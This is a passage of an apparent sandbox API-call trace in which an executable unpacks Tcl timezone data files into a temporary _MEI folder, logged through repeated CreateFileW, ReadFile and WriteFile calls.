[0040.103] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dubai" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dubai"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.103] GetFileType (hFile=0x10c) returned 0x1 [0040.103] htonl (hostlong=0x8e000000) returned 0x8e [0040.103] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.103] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8e, lpOverlapped=0x0) returned 1 [0040.122] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.122] CloseHandle (hObject=0x10c) returned 1 [0040.122] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.122] htonl (hostlong=0x30000000) returned 0x30 [0040.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.122] GetFileType (hFile=0x10c) returned 0x1 [0040.122] htonl (hostlong=0xecd05a00) returned 0x5ad0ec [0040.122] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f80ec, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.122] htonl (hostlong=0x21010000) returned 0x121 [0040.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x121) returned 0x550600 [0040.122] htonl (hostlong=0x21010000) returned 0x121 [0040.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.122] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.123] htonl (hostlong=0x39030000) returned 0x339 [0040.123] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x339) returned 0x550730 [0040.123] htonl (hostlong=0x21010000) returned 0x121 [0040.123] htonl (hostlong=0x39030000) returned 0x339 [0040.123] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.123] CloseHandle (hObject=0x10c) returned 1 [0040.123] GetLastError () returned 0x0 [0040.123] SetLastError (dwErrCode=0x0) [0040.123] GetLastError () returned 0x0 [0040.123] SetLastError (dwErrCode=0x0) [0040.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.123] GetFileType (hFile=0x10c) returned 0x1 [0040.123] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.123] CloseHandle (hObject=0x10c) returned 1 [0040.123] GetLastError () returned 0x0 [0040.123] SetLastError (dwErrCode=0x0) [0040.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.124] GetFileType (hFile=0x10c) returned 0x1 [0040.124] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.124] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.124] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.124] CloseHandle (hObject=0x10c) returned 1 [0040.124] GetLastError () returned 0x0 [0040.124] SetLastError (dwErrCode=0x0) [0040.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.124] GetFileType (hFile=0x10c) returned 0x1 [0040.124] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.124] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.125] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.125] CloseHandle (hObject=0x10c) returned 1 [0040.125] GetLastError () returned 0x0 [0040.125] SetLastError (dwErrCode=0x0) [0040.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dushanbe") returned 70 [0040.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dushanbe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dushanbe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.125] GetLastError () returned 0x2 [0040.125] SetLastError (dwErrCode=0x2) [0040.125] GetLastError () returned 0x2 [0040.125] SetLastError (dwErrCode=0x2) [0040.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dushanbe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dushanbe", lpFilePart=0x0) returned 0x45 [0040.125] GetLastError () returned 0x2 [0040.125] SetLastError (dwErrCode=0x2) [0040.125] GetLastError () returned 0x2 [0040.125] SetLastError (dwErrCode=0x2) [0040.125] GetLastError () returned 0x2 [0040.125] SetLastError (dwErrCode=0x2) [0040.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dushanbe") returned 70 [0040.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dushanbe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dushanbe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.126] GetFileType (hFile=0x10c) returned 0x1 [0040.126] htonl (hostlong=0x39030000) returned 0x339 [0040.126] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.126] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x339, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x339, lpOverlapped=0x0) returned 1 [0040.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.127] CloseHandle (hObject=0x10c) returned 1 [0040.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550730 | out: hHeap=0x530000) returned 1 [0040.127] htonl (hostlong=0x30000000) returned 0x30 [0040.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.127] GetFileType (hFile=0x10c) returned 0x1 [0040.127] htonl (hostlong=0xdd25a00) returned 0x5ad20d [0040.127] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f820d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.127] htonl (hostlong=0x6c060000) returned 0x66c [0040.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x66c) returned 0x55e278 [0040.127] htonl (hostlong=0x6c060000) returned 0x66c [0040.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.127] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.127] htonl (hostlong=0x1b1f0000) returned 0x1f1b [0040.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f1b) returned 0x561090 [0040.127] htonl (hostlong=0x6c060000) returned 0x66c [0040.127] htonl (hostlong=0x1b1f0000) returned 0x1f1b [0040.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562fb8 [0040.127] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562fb8 | out: hHeap=0x530000) returned 1 [0040.128] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.128] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.128] CloseHandle (hObject=0x10c) returned 1 [0040.128] GetLastError () returned 0x0 [0040.128] SetLastError (dwErrCode=0x0) [0040.128] GetLastError () returned 0x0 [0040.128] SetLastError (dwErrCode=0x0) [0040.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.128] GetFileType (hFile=0x10c) returned 0x1 [0040.128] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.128] CloseHandle (hObject=0x10c) returned 1 [0040.128] GetLastError () returned 0x0 [0040.128] SetLastError (dwErrCode=0x0) [0040.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.129] GetFileType (hFile=0x10c) returned 0x1 [0040.129] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.129] CloseHandle (hObject=0x10c) returned 1 [0040.129] GetLastError () returned 0x0 [0040.129] SetLastError (dwErrCode=0x0) [0040.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.129] GetFileType (hFile=0x10c) returned 0x1 [0040.129] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.129] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.129] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.129] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.130] CloseHandle (hObject=0x10c) returned 1 [0040.130] GetLastError () returned 0x0 [0040.130] SetLastError (dwErrCode=0x0) [0040.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Gaza") returned 66 [0040.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Gaza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\gaza"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.130] GetLastError () returned 0x2 [0040.130] SetLastError (dwErrCode=0x2) [0040.130] GetLastError () returned 0x2 [0040.130] SetLastError (dwErrCode=0x2) [0040.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Gaza", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Gaza", lpFilePart=0x0) returned 0x41 [0040.130] GetLastError () returned 0x2 [0040.130] SetLastError (dwErrCode=0x2) [0040.130] GetLastError () returned 0x2 [0040.130] SetLastError (dwErrCode=0x2) [0040.130] GetLastError () returned 0x2 [0040.130] SetLastError (dwErrCode=0x2) [0040.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Gaza") returned 66 [0040.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Gaza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\gaza"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.131] GetFileType (hFile=0x10c) returned 0x1 [0040.131] htonl (hostlong=0x1b1f0000) returned 0x1f1b [0040.131] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.132] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.132] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf1b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf1b, lpOverlapped=0x0) returned 1 [0040.132] HeapFree (in: hHeap=0x530000, dwFlags=0x0, 